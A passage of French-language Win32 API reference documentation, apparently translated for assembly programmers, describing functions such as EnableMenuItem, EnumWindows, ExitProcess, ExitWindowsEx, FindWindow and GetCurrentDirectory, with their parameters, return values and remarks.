Si la fonction échoue, la valeur en retour est zéro. Pour obtenir l'information sur l'erreur étendue, appelez GetLastError.

Voir Aussi

DeleteMenu, InsertMenuItem, RemoveMenu, SetMenuItemInfo


EnableMenuItem

La fonction EnableMenuItem active, désactive, ou grise l'Item indiqué.

BOOL EnableMenuItem (

hMenu hMenu, // handle du menu
UINT uIDEnableItem, // item à activer, désactiver ou griser
UINT uEnable // Flag pour activer, désactiver ou bien griser l'Item.
);

Paramètres

hMenu
Identifie le menu.

uIDEnableItem
Spécifie l'item à activer, désactiver ou griser. Ce paramètre spécifie l'item d'une barre de menu, un menu, ou un sous-menu.

uEnable
Représente les Flags qui contrôlent l'interprétation du paramètre uIDEnableItem et indiquent si l'item du menu doit être activé, désactivé ou grisé. Ce paramètre doit être une combinaison de 'MF_BYCOMMAND ou bien MF_BYPOSITION' avec 'MF_ENABLED, MF_DISABLED, ou bien MF_GRAYED.'

    Valeur 	 	 Signification

    MF_BYCOMMAND 	 Indique qu'uIDEnableItem représente le n° ID de l'item. Si ni ce
             Flag lui-même ni MF_BYPOSITION ne sont spécifiés, alors flag
             MF_BYCOMMAND est pris comme Flag par défaut.
    MF_BYPOSITION 	 Indique qu'uIDEnableItem donne la position zéro-basée relative
             de l'item. (Exemple uIDEnableItem=0 signifie que c'est le premier
             Item du menu qui est visé. uIDEnableItem=1 pour le deuxième Item….)

    MF_DISABLED 	 Indique qu'on désactive l'Item, mais pas grisé, ainsi on ne peut
             plus cliquer sur lui.
    MF_ENABLED 	 Indique qu'on active l'Item, il est également dégrisé pour qu'on
             puisse cliquer sur lui.
    MF_GRAYED 	 Indique que l'Item est désactivé et grisé pour qu'on ne puisse
             plus cliquer sur lui.
Valeurs en Retour

La valeur en retour spécifie l'état précédent de cet item (ce sera soit MF_DISABLED, soit MF_ENABLED, ou bien MF_GRAYED). Si l'item n'existe pas, la valeur en retour est 0xFFFFFFFF. (=-1)

Remarques

Une application doit employer le flag MF_BYPOSITION pour spécifier l'handle correcte du menu. Si c'est le handle de la barre de menu qui est spécifié, alors ce sera l'Item de plus haut niveau (un item dans la barre de menu) qui sera visé. Pour affecter l'état de l'item d'un menu déroulant (popup menu) ou un sous-menu par POSITION, votre application doit spécifier le handle du menu déroulant ou du sous-menu.

Quand une application spécifie le flag MF_BYCOMMAND, Windows vérifie tous les items qui ouvrent des sous-menus dans le menu identifié par le handle spécifié. Donc, à moins que deux items identiques soient présents, le fait de spécifier l'handle de la barre de menu est suffisant.

Les fonctions CreateMenu, InsertMenu, InsertMenuItem, LoadMenuIndirect, ModifyMenu et SetMenuItemInfo peuvent également modifier l'état d'un item.

Voir Aussi

CreateMenu, GetMenuItemID, InsertMenu, InsertMenuItem, LoadMenuIndirect, ModifyMenu, SetMenuItemInfo, WM_SYSCOMMAND


EndDeferWindowPos (Win32)

BOOL EndDeferWindowPos(hdwp)

HDWP hdwp;	/* handle de la structure interne */
Cette fonction met à jour à la fois la position et la taille d'une ou de plusieurs fenêtres en un simple cycle de régénération d'écran. Le paramètre hdwp identifie une structure 'position de fenêtres multiples' laquelle contient les informations de mise à jour des fenêtres. La fonction DeferWindowPos stocke ces informations de remise à jour dans cette structure. C'est la fonction BeginDeferWindowPos qui crée initialement cette structure, et elle est ensuite utilisée par ces fonctions.

Paramètre 	 Description

hdwp 	 	 Identifie une structure 'position de fenêtres multiples' laquelle contient les
         informations de taille et de position d'une ou plusieurs fenêtres. Cette
         structure est retournée par la fonction BeginDeferWindowPos ou bien par le
         dernier appel (le plus récent) de la fonction DeferWindowPos.
Retours

Retours TRUE pour succès, FALSE pour échec.

Voir Aussi

BeginDeferWindowPos, DeferWindowPos


EndDialog (Win32)

BOOL EndDialog(hwndDlg, nResult)

HWND hwndDlg;	/* handle de la DialogBox */
int nResult;	/* valeur à retourner */
Cette fonction détruit une DialogBox de modèle prédéfini et retourne le résultat donné à la fonction DialogBox qui a créé cette DialogBox. On exige que la fonction EndDialog achève le traitement chaque fois qu'on utilise la fonction DialogBox pour créer une DialogBox prédéfini. Cette fonction doit être employée dans la procédure de Dialog de la 'DialogBox prédéfini' (on parle de la fonction-procédure DialogProc ) et ne doit pas être employée dans un autre but.
La fonction-procédure de Dialog peut appeler EndDialog à tout moment, même pendant le traitement du message WM_INITDIALOG. Si EndDialog est appelé pendant le message WM_INITDIALOG, alors la DialogBox est terminée (détruite) avant que l'on ne l'affiche à l'écran ou avant que le centre de clavier (le Focus) lui soit donné.
EndDialog ne termine pas la DialogBox immédiatement. Au lieu de ça, elle pose le flag qui fera en sorte que la DialogBox se terminera aussitôt que le fonction (la procédure) de Dialog arrive à sa fin.
La fonction EndDialog donne ses retours à la fonction (procédure) de Dialog, si la fonction (procédure) de Dialog (DialProc) doit redonner la main (le contrôle) à Windows.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox à détruire.
nResult 	 Spécifie la valeur à retourner à la fonction DialogBox qui l'a créé.

Retours

La valeur en retour est TRUE pour un succès, et FALSE pour un échec.

Voir Aussi

DialogBox, WM_INITDIALOG


EnumChildProc (Win32)

BOOL CALLBACK EnumChildProc(hwnd, lParam)

HWND hwnd;	/* handle d'une fenêtre (ou objet) enfant */
LPARAM lParam;	/* application-defined value */
La fonction EnumChildProc est une fonction CallBack, elle renvoie les handles des fenêtres enfants. (les fenêtres enfants ou Child Window ne sont pas forcément des fenêtres ça peut être des boutons ou une zone de saisie par exemple.)

Paramètre 	 Description

hwnd 	 Identifie une fenêtre enfant appartenant à la fenêtre parente indiquée.
lParam 	 Indique la valeur définie de l'application indiquée.
Retours

Cette fonction CallBack retourne TRUE pour continuer l'énumération ou FALSE pour arrêter l'énumération.

Commentaires

Cette fonction CallBack peut effectuer n'importe quelle tâche voulue.
EnumChildProc est un placeholder du nom de la fonction fourni par l'application. Le nom réel doit être exporté en l'incluant dans une déclaration d'EXPORTATION (dans un fichier *.def).

Voir Aussi

EnumChildWindows


EnumChildWindows (Win32)

BOOL EnumChildWindows(hwndOwner, lpEnumFunc, lParam)

HWND hwndOwner;		/* handle de la fenêtre parente */
WNDENUMPROC lpEnumFunc;	/* adresse le fonction CallBack */
LPARAM lParam;		/* application-defined value */
Cette fonction énumère les fenêtres enfants qui appartiennent à la fenêtre parente indiquée en passant chaque handle des fenêtres enfants, tour à tour, à cette fonction CallBack grâce au paramètre lpEnumFunc.
La fonction EnumChildWindows continue à énumérer les fenêtres tant que la fonction appelée ne retourne un NULL ou bien tant que la toute dernière fenêtre enfant n'ait été passée en revue.

Paramètre 	 Description

hwndOwner 	 Identifie la fenêtre parente dont les fenêtres enfant doivent être énumérées.
lpEnumFunc 	 Est l'adresse de la procédure de la fonction CallBack. Pour plus
         d'informations à propos de la fonction CallBack, voyez la
         description de la fonctions CallBack EnumChildProc.
lParam 	 	 Spécifie la valeur qui doit être passée à la fonction CallBack
         pour que l'application puisse s'en servir.
Retours

La valeur en retour est non NULL si toutes les fenêtres enfants ont été énumérées. Autrement, ce sera un NULL.

Commentaires

Cette fonction ne prend pas en compte les fenêtres Popup appartenant au paramètre hwndOwner.

Voir Aussi

EnumWindows


EnumThreadWindows (Win32)

BOOL EnumThreadWindows(dwThreadId, lpfn, lParam)

DWORD dwThreadId;
WNDENUMPROC lpfn;
LPARAM lParam;
La fonction EnumThreadWindows énumère toutes les fenêtres associées à un lien. Il énumère les fenêtres en passant leurs handles, un à un, à une fonction CallBack indiquée par lpfn.
EnumThreadWindows continue tant que la toute dernière fenêtre n'est été vue ou bien que la fonction CallBack indiquée retourne un lpfn FALSE.

Paramètre 	 Description

dwThreadId 	 Identifie le lien de ces fenêtres.
lpfn 	 	 Pointe sur la fonction CallBack pour laquelle EnumThreadWindows
         lui passera les Handles des fenêtres ainsi que le paramètre lParam. Pour plus
         d'informations, voyez la description de la fonction CallBack
         EnumThreadWndProc.
lParam 	 	 Est une valeur prédéfinie par l'application. Le système passera cette valeur
         ainsi que le Handle à la fonction CallBack.

Retours
Cette fonction retourne un TRUE si chacune des fenêtres associées au lien indiqué ont pues être recensées.
Si même une seule fenêtre associée au lien n'a pas pue être énumérée, la fonction retournera un FALSE.

Voir Aussi

EnumChildWindows, EnumWindows


EnumThreadWndProc (Win32)

BOOL CALLBACK EnumThreadWndProc(hwnd, lParam)

HWND hwnd;	/* handle de la fenêtre */
LPARAM lParam;	/* valeur prédéfinit pour l'application */
La fonction EnumThreadWndProc est une fonction CallBack définie pour que l'application reçoive les Handles des fenêtres associées à un lien à la suite d'un appel de la fonction EnumThreadWindows.

Paramètre 	 Description

hwnd 	 	 Identifie une fenêtre associée au lien indiqué par la fonction
         EnumThreadWindows.
lParam		 Est une valeur prédéfinie par l'application. Le système passera
         cette valeur ainsi que le Handle à la fonction CallBack.

Retours
La fonction CallBack doit retourner TRUE pour continuer l'énumération (son recensement) ou FALSE pour l'arrêter.

Commentaires

La fonction CallBack peut effectuer n'importe quelle tâche désirée. EnumThreadWndProc est un placeholder du nom de la fonction fourni par l'application. Le nom réel doit être exporté en l'incluant dans une déclaration d'EXPORTATIONS (un fichier *.def).

Voir Aussi

EnumThreadWindows


EnumWindows (Win32)

BOOL EnumWindows(lpEnumFunc, lParam)

WNDENUMPROC lpEnumFunc;	/* adresse de la fonction CallBack */
LPARAM lParam;		/* valeur prédéfinit pour l'application */
Cette fonction énumère toutes les fenêtres parentes à l'écran en passant leurs handles, tour à tour, à la fonction CallBack indiquée par le paramètre lpEnumFunc. Les fenêtres enfants ne sont pas énumérées. (ex : les boutons). La fonction EnumWindows continue à énumérer les fenêtres tant que la fonction appelée ne retourne un NULL ou bien que la toute dernière fenêtre n'ait été énumérée (recensée).

Paramètre 	 Description

lpEnumFunc 	 Spécifie l'adresse de la procédure de la fonction CallBack.
         Pour plus d'informations, voyez la description de la fonction CallBack
         EnumWindowsProc.
lParam	 	 Est une valeur prédéfinie par l'application. Le système passera cette valeur
         ainsi que le Handle à la fonction CallBack.

Retours

La valeur en retour est TRUE si toutes les fenêtres ont été énumérées. Autrement, ce sera FALSE.

Voir Aussi

EnumChildWindows


EnumWindowsProc (Win32)

BOOL CALLBACK EnumWindowsProc(hwnd, lParam)

HWND hwnd;	 /* handle de la fenêtre parente */
LPARAM lParam;	 /* valeur prédéfinit pour l'application */
La fonction EnumWindowsProc est une fonction callback définie par et pour l'application qui reçoit les Handles des fenêtres parentes suite à un appel de la fonction EnumWindows.

Paramètre 	 Description

hwnd 	 	 Identifie une fenêtre parente actuelle.
lParam 		 Est une valeur prédéfinie par l'application grâce à la fonction EnumWindows.

Retours
Cette fonction callback doit retourner TRUE pour continuer l'énumération ou bien FALSE pour arrêter l'énumération.

Commentaires

Cette fonction callback peut effectuer n'importe quelle tâche désirée. EnumWindowsProc est un placeholder du nom de fonction fourni pour l'application. Le nom réel doit être exporté en l'incluant dans une déclaration d'EXPORTATIONS (dans une fichier *.def).

Voir Aussi

EnumWindows


ExitProcess
Renseignements Rapides : appartient à la dll kernel32.dll

La fonction ExitProcess termine un process (un programme) et tous ses liens.

VOID ExitProcess(

    UINT uExitCode 	// termine et sort du code de tous les liens
   );

Paramètres

ExitCode
Représente le code de sortie pour le process et tous ses liens à la suite de cet appel. Employez la fonction GetExitCodeProcess pour retrouver la valeur de sortie du process. Employez la fonction GetExitCodeThread pour retrouver la valeur de sortie d'un lien.

Valeurs de Retour

Cette fonction ne renvoie pas de valeur.

Remarques

ExitProcess est la méthode prédominante pour terminer un process. Cette fonction provoque un arrêt du process sans incidents. Ceci s'applique aussi aux appels de la fonction de point d'entrée de toutes les bibliothèques de liaison dynamique attachées (DLLs) avec une valeur indiquant que le process se détache de la DLL. Si un process se termine en appelant TerminateProcess, les DLLs auquelles le process est attaché ne sont pas notifiés de la terminaison du process. C'est à dire que le programme principal (le process) se ferme mais pas ses liens.
Après que toutes les DLLs rattachées aient exécuté une quelconque valeur de terminaison de process, cette fonction termine le process en cours.

La fin d'un process provoque ce qui suit :

1. Tous les handles des objets ayant été ouverts par le process sont refermés.
2. Tous les liens appartenant au process terminent leur exécution.
3. L'état du process est signalé, satisfaisant n'importe quels liens qui avaient attendu le processus pour se terminer.
4. Les états de tous les liens du process sont signalés, satisfaisant n'importe quels liens qui avaient attendu ces liens pour se terminer.
5. Le statut de terminaison du processus change de 'STILL_ACTIVE' à la valeur 'sortie du process'.

La fin d'un process ne provoque pas la fermeture des process enfants.
La fin d'un process n'enlève pas nécessairement l'objet du process (ex :une fenêtre) du système d'exploitation. Un objet de process est supprimé quand le tout dernier handle de ce process est fermé.
Les fonctions ExitProcess, ExitThread, CreateThread, CreateRemoteThread et un process qui début (comme c'est le cas avec un appel de CreateProcess) sont gérés sous forme de feuilleton les uns les autres dans ce process. Uniquement un de ces événements peut se produire dans un espace d'adresse à la fois. Ceci signifie qu'on a les restrictions suivantes :

· Pendant le démarrage d'un process et de ses routines d'initialisation (ses DLL), de nouveaux liens peuvent être créés, mais aucuns ne commencent leur exécution avant que les DLL d'initialisation ne soient prêt pour le process.
· Dans un process, un seulement lien à la fois peut faire appel à une DLL ou peut être détacher de la routine.
· ExitProcess ne s'exécute pas tant que tous les liens n'aient fini leur communication avec leur DLL ou bien qu'ils ne se soient détachés des routines.


ExitWindowsEx (Min32)

BOOL ExitWindowsEx(

    UINT uFlags,	// operation de fermeture du système
    DWORD dwReserved 	// réservé
   );

La fonction ExitWindowsEx sort du Système, le ferme, ou bien ferme et reboot le système.

Paramètres

uFlags	  	Indique le type d'arrêt. Ce paramètre doit être une combinaison des valeurs
        suivantes :

          Valeur 	 	 Signification

          EWX_FORCE 	 Force les process à se terminer. Quand ce flag est mis,
                 Windows n'envoie pas les messages WM_QUERYENDSESSION et
                 WM_ENDSESSION aux applications actuellement en service dans
                 le système. Ceci peut faire en sorte que les applications
                 perdent des données. Donc, vous devez seulement utiliser ce
                 flag en cas d'urgence.
          EWX_LOGOFF 	 Ferme tous les process en service dans le contexte de
                 sécurité du process qui a appelé la fonction ExitWindowsEx.
          EWX_POWEROFF 	 Referme le système et éteint l'alimentation. Le système doit
                 avoir la particularité "Alimentation coupé".
          Pour Windows NT : les process appelant cette fonction doivent avoir le privilège
                  SE_SHUTDOWN_NAME. Pour plus d'informations, voyez la section
                 des Remarques qui suit.
          Pour Windows 95 : les privilèges de sécurité ne sont pas soutenus ou exigés.

         EWX_REBOOT 	 Referme le système et le redémarre ensuite.
         Pour Windows NT : Les process appelant cette fonction doivent avoir le privilège
                  SE_SHUTDOWN_NAME. Pour plus d'informations, voyez la section
                 des Remarques qui suit.
         Pour Windows 95 : les privilèges de sécurité ne sont pas soutenus ou exigés.

         EWX_SHUTDOWN 	 Referme le système de façon sûr, pour pouvoir l'éteindre en
                 toute sécurité. Tous les Buffers des fichiers (*.tmp) ont étés
                 effacés du disque et tous les process en cours ont été arrêtés.
         Pour Windows NT : les process appelant cette fonctions doivent avoir le
                  privilège SE_SHUTDOWN_NAME. Pour plus d'informations, voyez la
                 section des Remarques qui suit.
         Pour Windows 95 : les privilèges de sécurité ne sont pas soutenus ou exigés.

dwReserved	Réservé; ce paramètre est ignoré.

Valeurs en Retour
Si la fonction réussit, la valeur en retour est non nulle.
Si la fonction échoue, la valeur de retour est zéro. Pour obtenir des informations sur l'erreur étendue, appelez GetLastError.

Remarques

La fonction ExitWindowsEx retourne aussitôt qu'elle a amorcé l'arrêt. La chute du système et sa fermeture se déroulent de manière asynchrone.
Pendant l'arrêt ou la déconnexion du Système, on attribut un cours laps de temps aux applications qui doivent se fermer pour répondre à la demande d'arrêt. Si le temps expire, Windows affiche une DialogBox qui permet à l'utilisateur de force la fermeture des applications, 'Réessayer' 'Arrêter', ou 'Annuler' la demande d'arrêt. Si la valeur EWX_FORCE est spécifiée, Windows force automatiquement les applications à se fermer et ne montre pas le bout du nez de cette DialogBox.

La fonction ExitWindowsEx envoie un message d'avis séparé, CTRL_SHUTDOWN_EVENT ou CTRL_LOGOFF_EVENT en tant que garanties de situation, pour les process. ExitWindowsEx envoie ces messages d'avis d'une manière asynchrone; ainsi, une applicationa ne peut pas assurer que les messages d'avis ont été traités lors du retour d'un appel de ExitWindowsEx.

Windows NT : Pour fermer ou redémarrer le système, le process appelant doit utiliser la fonction AdjustTokenPrivileges pour rétablir le privilège SE_SHUTDOWN_NAME. Pour plus d'informations à propos des privilèges de sécurité, voyez les Privilèges.
Windows 95 : les privilèges de sécurité ne sont pas soutenus ou exigés.

Voir Aussi

AdjustTokenPrivileges, ExitWindows, HandlerRoutine, SetConsoleCtrlHandler


FatalAppExit (Win32)

VOID FatalAppExit(uAction, lpszMessageText)

UINT uAction;			   	/* doit être NULL */
LPCTSTR lpszMessageText;	/* chaîne de caractères à afficher dans une MessageBox */
La fonction FatalAppExit affiche une MessageBox et termine l'application une fois que cette MessageBox a été refermée. Si Windows est en train de tourner avec un Debugger en tâche de fond, la MessageBox donne à l'utilisateur l'occasion de terminer l'application ou d'annuler la MessageBox et de retourner au Caller (au programme qui vient d'utiliser cette fonction).

Paramètre	  Description

uAction 	  Ce paramètre est réservé et doit être mis à NULL.
lpszMessageText   Pointe sur une chaîne de caractères terminée par un nul, laquelle est
          affichée dans la MessageBox. Le message est affiché sur une simple ligne.
          Pour loger des affichages de faible résolution, la chaîne de caractères ne
          doit pas contenir plus de 35 caractères de longueur.

Retours

Cette fonction retourne aucune valeur.

Commentaires
L'application doit appeler la fonction FatalAppExit seulement quand elle n'est pas capable de se terminer d'une autre façon. La fonction FatalAppExit ne peut pas toujours libérer la mémoire de l'application ou même fermer ses fichiers et il se peut que ça provoque un échec général de Windows (On a l'habitude). Une application qui rencontre une erreur inattendue doit se terminer en libérant toute sa mémoire et en retournant ensuite à sa boucle des messages principale.

La fonction FatalAppExit peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer des caractères du jeu de Windows 3.x).

Voir Aussi

FatalExit


FatalExit (Win32)

VOID FatalExit(nExitCode)

int nExitCode;	/* code d'erreur */
La fonction FatalExit transfère le contrôle d'exécution au Debugger. Le comportement est ensuite dépend entièrement du debugger employé.
Une application doit appeler cette fonction seulement dans le but d'être debuggée, elle ne doit pas appeler cette fonction pour avoir les détails d'une version de l'application. L'appel de cette fonction dans ce cas terminera l'application.

Paramètre 	 Description

nExitCode 	 Est le code d'erreur associé à cette sortie.

Retours

Cette fonction ne retourne aucune valeur.

Commentaires

La fonction FatalExit ne sert qu'à la mise au point (qu'à debugger).

Voir Aussi

FatalAppExit


FileTimeToDosDateTime (new for Win32)

BOOL FileTimeToDosDateTime(lpft, lpwDOSDate, lpwDOSTime)

LPFILETIME lpft;	/* adresse de temps du fichier 64-bit */
LPWORD lpwDOSDate;	/* adresse de la variable pour la date MS-DOS */
LPWORD lpwDOSTime;	/* adresse de la variable pour le temps MS-DOS */

La fonction FileTimeToDosDateTime convertit le temps d'un fichier 64 bits en une date et un temps MS-DOS.
Paramètre 	 Description

lpft 	 	 Pointe sur le temps d'un  fichier 64 bits (C'est la structure FILETIME) pour
         le convertir en une date et un temps MS-DOS.
lpwDOSDate 	 Pointe sur une variable qui reçoit la date MS-DOS. La date est une valeur
         16 bits ayant le format suivant :

         Bits 	 Contenu

         0-4	 Jour du mois (1-31)
         5-8	 Mois (1=janvier, 2=février, etc)
         9-15	 Année, avec comme référence 0 l'année 1980 (ajoutez 1980 pour obtenir
              l'année réelle)

lpwDOSTime 	 Pointe sur une variable qui reçoit le temps MS-DOS. Le temps est une valeur
         16 bits ayant le format suivant :

         Bits 	 Contenu

         0-4	 Seconde divisée par 2 (0.5s)
         5-10	 Minute (0-59)
         11-15	 Heure (0-23 sur une horloge de 24 heures)
Retours

La valeur en retour est TRUE si la fonction était couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Commentaires

Le format d'une date MS-DOS peut seulement représenter des dates allant du 01/01/1980 au 12/31/2107, donc cette conversion peut échouer si le temps d'entré du fichier se trouve à l'extérieur de cette gamme.

Voir Aussi

DosDateTimeToFileTime, SystemTimeToFileTime, FileTimeToSystemTime


FileTimeToSystemTime (new for Win32)

BOOL FileTimeToSystemTime(lpft, lpst)

LPFILETIME lpft;	/* adresse du temps du fichier, à convertir */
LPSYSTEMTIME lpst;	/* adresse du temps système */

La fonction FileTimeToSystemTime convertit un temps fichier 64 bits en un temps système.

Paramètre 	 Description

lpft 	 Pointe sur une structure FILETIME pour convertir à la date dans un format temps
     système.
lpst 	 Pointe sur une structure SYSTEMTIME laquelle reçoit le temps fichier converti.
Retours

La valeur en retour est TRUE si la fonction était couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Voir Aussi

SystemTimeToFileTime, FileTimeToDosDateTime, DosDateTimeToFileTime


FindText (Win32)

HWND FindText(lpfr)

LPFINDREPLACE lpfr;	/* pointer sur la structure contenant les données d'initialisation */
La fonction FindText crée une DialogBox prédéfinie par le système, laquelle donne à l'utilisateur la possibilité de retrouver un bout de texte dans un document. L'application doit exécuter l'opération de recherche.

Paramètre 	 Description

lpfr 	 	 Pointe sur une structure FINDREPLACE, laquelle contient l'information utilisée
         pour initialiser la DialogBox. Lorsque l'utilisateur fait un choix dans la
         DialogBox, le système remplit cette structure avec l'information choisie (le
         texte qu'il à tapé) et envoie ensuite un message à l'application. Ce message
         contient un pointer sur la structure FINDREPLACE.

Retours
La valeur en retour est le Handle de la fenêtre de la DialogBox si la fonction est couronnée de succès. Autrement, elle sera NULL. L'application peut utiliser le handle de cette fenêtre pour communiquer avec elle ou pour la refermer.

Erreurs

Utilisez la fonction CommDlgExtendedError pour retrouver la valeur de l'erreur, qui peut être une des valeurs suivantes :

CDERR_FINDRESFAILURE
CDERR_INITIALIZATION
CDERR_LOCKRESFAILURE
CDERR_LOADRESFAILURE
CDERR_LOADSTRFAILURE
CDERR_MEMALLOCFAILURE
CDERR_MEMLOCKFAILURE
CDERR_NOHINSTANCE
CDERR_NOHOOK
CDERR_NOTEMPLATE
CDERR_STRUCTSIZE
FRERR_BUFFERLENGTHZERO

Commentaires

La procédure de la DialogBox 'FINDRELACE' passe ses requêtes de l'utilisateur à l'application grâce à des messages spéciaux. Le paramètre lParam de chacun de ces messages contient un pointer sur la structure FINDREPLACE. La procédure envoie les messages à la fenêtre identifiée par le membre hwndOwner de la structure FINDREPLACE. L'application peut enregistrer l'identificateur de ces messages en spécifiant la chaîne de caractères à retrouver en appelant la fonction RegisterWindowMessage.

Pour que la touche TAB fonctionne correctement, n'importe quelle application appelant la fonction FindText doit également appeler la fonction IsDialogMessage dans sa boucle de messages principale. (La fonction IsDialogMessage retourne une valeur qui indique si les messages sont destinés à la boîte de dialogue FINDREPLACE.)
Si une fonction de hook (pour laquelle le membre lpfnHook de la structure FINDREPLACE pointe) traite le message WM_CTLCOLOR, cette fonction doit retourner le handle de la brosse qui doit être utilisée pour repeindre le fond du control.


FindWindow (Win32)

HWND FindWindow (lpszClass, lpszWindow)

LPCTSTR lpszClass; 	 /* adresse du nom de classe */
LPCTSTR lpszWindow; 	 /* adresse de titre de fenêtre */

La fonction FindWindow retrouve l'handle de la fenêtre dont le nom de classe et le titre de la
fenêtre correspondent aux chaînes de caractères indiquées. Cette fonction ne fait pas de
recherche à l'intérieur des fenêtres enfants.

Paramètre 		Description

lpszClass 		Représente le nom de la classe de votre fenêtre. C'est une chaîne de
            caractères (se terminant par un nul) ou est une particule qui identifie
            une chaîne de caractères. Si ce paramètre est une particule, elle doit
            être de type global, et doit être créée par un appel précédent grâce à
            la fonction GlobalAddAtom. Elle doit être de 16 bits, et doit être
            placée dans le mot de poids faible de lpszClass; le mot de poids fort
            doit être mis à zéro.

lpszWindow	  	Représente le titre de votre fenêtre. C'est aussi une chaîne de
            caractères (se terminant par un nul). Si ce paramètre est NULL,
            n'importe quel titre de fenêtre fera l'affaire.

Valeurs de retour :

Si la fonction est couronnée de succès, la valeur de retour est l'handle de la fenêtre dont on
vient de spécifier sa Classe et son titre de fenêtre. Sinon, eax est NULL.

Commentaires :

La fonction FindWindow peut être employée soit en tant que fonction à caractères étendus (où
les arguments de texte doivent employer le système Unicode), soit en tant que fonction ANSI
(dans laquelle les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi :

EnumWindows, GetClassName


GetClientRect (Win32)

BOOL GetClientRect(hwnd, lprc)

HWND hwnd;	/* handle de la fenêtre */
LPRECT lprc;	/* adresse de la structure 'RECT' */
Cette fonction copie les coordonnées du secteur client d'une fenêtre dans la structure indiquée par le paramètre lprc. Les coordonnées du secteur de client ce sont en fait les coins supérieurs-gauches et inférieurs-droits de la zone intérieur d'une fenêtre, la zone où il est possible d'écrire du texte dans NotePad par exemple. Puisque les coordonnées du secteur client sont définit par rapport aux coins supérieurs-gauches alors le coins supérieur-gauche aura toujours les coordonnées (0,0).

Paramètre 	 Description

hwnd 		 Identifie la fenêtre.
lprc 		 Pointe sur une structure RECT laquelle contient les coordonnées (écran) du
         coins supérieurs-gauches et bas-droites de la fenêtre.

Retours

Ces retours de fonction VRAIS pour succès, FAUX pour échec.

Voir Aussi

GetWindowRect, RECT


Untitled Document

GetCommandLine

La fonction GetCommandLine renvoie la valeur du pointer de la chaîne de caractères de la ligne de commande (commandline) pour le process en cours.

LPTSTR GetCommandLine (VIDE)

Paramètres

Cette fonction n'a aucun paramètre.

Valeurs de Retour

La valeur en retour est le pointer de la chaîne de caractères de ligne de commande pour le processus en cours.

Remarques

Cette valeur en retour n'a pas d'intérêt en elle-meme, on la passe seulement ensuite à la fonction principale 'WINMAIN' lorsqu'on l'appelle.
Ex: invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT


GetCurrentDirectory (new for Win32)

DWORD GetCurrentDirectory(cchCurDir, lpszCurDir)

DWORD cchCurDir;	/* taille du buffer contenant le Répertoire */
LPTSTR lpszCurDir;	/* adresse du buffer du Répertoire courant */

La fonction GetCurrentDirectory retrouve le Répertoire actuel du process actuel.

Paramètre 	 Description

cchCurDir 	 Est la longueur du buffer (en nb de caractères) contenant le nom du Répertoire
         actuel. La longueur de ce buffer doit inclure une place pour le caractère nul
         de terminaison.
lpszCurDir 	 Pointe sur le buffer contenant le Répertoire actuel. Cette chaîne de
         caractères est terminée par un nul, c'est le chemin absolu du Répertoire
         actuel.

Retours
Si la fonction réussit, la valeur en retour est le nombre de caractères écrits dans le buffer, sans inclure le caractère nul de terminaison.

Si buffer lpszCurDir n'est pas assez grand, la valeur en retour représente la taille du buffer exigé, sans inclure non plus le caractère nul de terminaison.
Si la fonction échoue, la valeur en retour est un NULL.

Commentaires

La fonction GetCurrentDirectory peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

CreateDirectory, GetSystemDirectory, GetWindowsDirectory, RemoveDirectory, SetCurrentDirectory


GetCurrentTime (Win32)

DWORD GetCurrentTime(VOID)

La fonction GetCurrentTime retrouve le nombre de millisecondes qui se sont écoulées depuis le lancement de Windows.

Retours

La valeur en retour est le nombre de millisecondes qui se sont écoulées depuis que Windows a été lancé.

Commentaires

La fonction GetCurrentTime est identique à la fonction GetTickCount. L'application doit utiliser la fonction GetTickCount, puisque son nom correspond mieux avec ce que fait cette fonction.

Les fonctions GetCurrentTime et GetMessageTime renvoient des temps différents. GetMessageTime renvoie à Windows le temps pour lequel un message donné a été créé, et non pas le actuel.
Le Timer interne restera dans des valeur autour de zéro si Windows est continuellement en fonctionnement depuis une période de plus 49 jours approximativement.

Voir Aussi

GetMessageTime, GetSystemTime, GetTickCount, SetSystemTime


GetDesktopWindow (Win32)

HWND GetDesktopWindow(void)

Cette fonction renvoie le handle de la fenêtre du bureau de Windows. La fenêtre du bureau de
Windows est la fenêtre de démarrage, sur cette fenêtre sont présentes pleins d'icônes.

Retours

La valeur en retour est le handle de la fenêtre du bureau de Windows.

Voir Aussi

GetWindow


GetDialogBaseUnits (Win32)

LONG GetDialogBaseUnits(void)
Cette fonction retourne l'unité de base des DialogBox, employée par Windows pour créer des DialogBox. Une application doit utiliser ces valeurs pour calculer la largeur moyenne des caractères dans la fonte du Système.
Cette fonction n'a aucuns paramètres.

Retours

La valeur en retour est l'unité de base de Dialog. Le WORD de poids fort contient la hauteur (en pixels) de l'unité de hauteur de Dialog actuelle tirée de la hauteur de la fonte Système, et le WORD de poids faible contient la largeur en pixels de l'unité de largeur de Dialog actuelle tirée de la largeur de la fonte Système.

Commentaires

Les valeurs retournées représentent les unités de base de Dialog avant d'obtenir l'échelle des unités de Dialog réelles. L'unité de Dialog réelle sur l'abscisse 'x' est 1/4ème de la largeur retournée par GetDialogBaseUnits. L'unité de Dialog réelle l'ordonnée 'y' est 1/8ème de la hauteur retournée par la fonction.

Pour déterminer la hauteur et la largeur réelles en pixels d'un Control, en ayant la hauteur (x) et la largeur (y) en unités de Dialog et la valeur de retour (lDlgBaseUnits) grâce à l'appel GetDialogBaseUnits, servez-vous de la formule suivante :

( X * LOWORD (lDlgBaseUnits)) /4
( Y * HIWORD (lDlgBaseUnits)) /8

Pour éviter les problèmes d'arrondis, faites la multiplication avant la division au cas où les unités de base de Dialog ne seraient pas parfaitement divisibles par quatre.


GetDlgCtrlID (Win32)

int GetDlgCtrlID(hwnd)

HWND hwnd;	/* handle de la fenêtre enfant */

Cette fonction retoune la valeur du n°ID de la fenêtre enfant identifiée par le paramètre hwnd.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre enfant.

Retours
